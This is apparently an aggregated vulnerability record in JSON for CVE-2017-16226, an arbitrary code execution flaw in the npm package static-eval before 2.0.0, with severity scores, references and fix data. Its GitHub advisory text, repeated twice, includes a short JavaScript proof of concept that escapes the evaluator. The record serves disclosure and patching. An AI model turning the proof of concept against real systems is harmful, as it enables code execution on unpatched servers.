{"id":"CVE-2017-16226","aliases":["EUVD-2018-0370","GHSA-5mjw-6jrh-hvfq"],"status":"published","title":"Sandbox Breakout / Arbitrary Code Execution in static-eval","description":"The static-eval module is intended to evaluate statically-analyzable expressions. In affected versions, untrusted user input is able to access the global function constructor, effectively allowing arbitrary code execution.","severity":{"version":"3.0","score":9.8,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"primary","from":"nvd"},"epss":{"day":"2026-11-11","score":0.03541,"percentile":0.89436,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-20"],"published":"2018-06-07T02:00:00Z","modified":"2026-10-20T10:49:42Z","fixes":[{"ecosystem":"npm","package":"static-eval","fixed_in":["2.0.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"static-eval","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.0"}]}]},{"source":"osv","ecosystem":"npm","package":"static-eval","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.0.0"}]}]}],"products":[{"vendor":"hackerone","product":"static-eval node module node module"},{"vendor":"static-eval_project","product":"static-eval"}],"references":[{"url":"https://nodesecurity.io/advisories/548","tags":["x_refsource_MISC","x_transferred","Exploit","Third Party Advisory","evidence"]},{"url":"https://maustin.net/articles/2017-10/static_eval","tags":["x_refsource_MISC","x_transferred","Third Party Advisory","advisory","web"]},{"url":"https://github.com/substack/static-eval/pull/18","tags":["x_refsource_MISC","x_transferred","Patch","Third Party Advisory","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2017-16226","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-5mjw-6jrh-hvfq","tags":["advisory"]},{"url":"https://www.npmjs.com/advisories/548","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2017-16226","description":"The static-eval module is intended to evaluate statically-analyzable expressions. In affected versions, untrusted user input is able to access the global function constructor, effectively allowing arbitrary code execution.","status":"published","published":"2018-06-07T02:00:00Z","modified":"2024-09-16T16:38:08.513Z","cwes":["CWE-20"],"updated_at":"2026-11-02T14:33:21.453505Z"}],"euvd":[{"id":"EUVD-2018-0370","description":"The static-eval module is intended to evaluate statically-analyzable expressions. In affected versions, untrusted user input is able to access the global function constructor, effectively allowing arbitrary code execution.","status":"published","published":"2018-06-07T02:00:00Z","modified":"2024-09-16T16:38:08Z","updated_at":"2026-11-03T00:55:50.035364Z"}],"ghsa":[{"id":"GHSA-5mjw-6jrh-hvfq","title":"Sandbox Breakout / Arbitrary Code Execution in static-eval","description":"Affected versions of `static-eval` pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.\n\n## Proof of concept\n```js\nvar evaluate = require('static-eval');\nvar parse = require('esprima').parse;\nvar src = '(function(){console.log(process.pid)})()';\nvar ast = parse(src).body[0].expression;\nvar res = evaluate(ast, {});\n// Will print the process id\n```\n\n\n## Recommendation\n\nUpdate to version 2.0.0 or later.","status":"published","published":"2018-08-06T21:37:06Z","modified":"2023-09-11T16:18:58Z","cwes":["CWE-20"],"updated_at":"2026-11-02T14:37:03.916765Z"}],"nvd":[{"id":"CVE-2017-16226","description":"The static-eval module is intended to evaluate statically-analyzable expressions. In affected versions, untrusted user input is able to access the global function constructor, effectively allowing arbitrary code execution.","status":"published","published":"2018-06-07T02:29:07.8Z","modified":"2026-06-17T01:09:00.57Z","cvss":[{"version":"3.0","score":9.8,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"primary"},{"version":"2.0","score":7.5,"vector":"AV:N/AC:L/Au:N/C:P/I:P/A:P","level":"high","assessor":"primary"}],"cwes":["CWE-20"],"updated_at":"2026-11-02T14:04:17.638656Z"}],"osv":[{"id":"CVE-2017-16226","description":"The static-eval module is intended to evaluate statically-analyzable expressions. In affected versions, untrusted user input is able to access the global function constructor, effectively allowing arbitrary code execution.","status":"published","published":"2018-06-07T02:29:07.8Z","modified":"2026-10-20T10:49:42.427188088Z","cvss":[{"version":"3.0","score":9.8,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:44:04.853379Z"},{"id":"GHSA-5mjw-6jrh-hvfq","title":"Sandbox Breakout / Arbitrary Code Execution in static-eval","description":"Affected versions of `static-eval` pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.\n\n## Proof of concept\n```js\nvar evaluate = require('static-eval');\nvar parse = require('esprima').parse;\nvar src = '(function(){console.log(process.pid)})()';\nvar ast = parse(src).body[0].expression;\nvar res = evaluate(ast, {});\n// Will print the process id\n```\n\n\n## Recommendation\n\nUpdate to version 2.0.0 or later.","status":"published","published":"2018-08-06T21:37:06Z","modified":"2023-11-08T03:59:12.567883Z","cwes":["CWE-20"],"updated_at":"2026-11-02T15:46:38.553953Z"}]}}
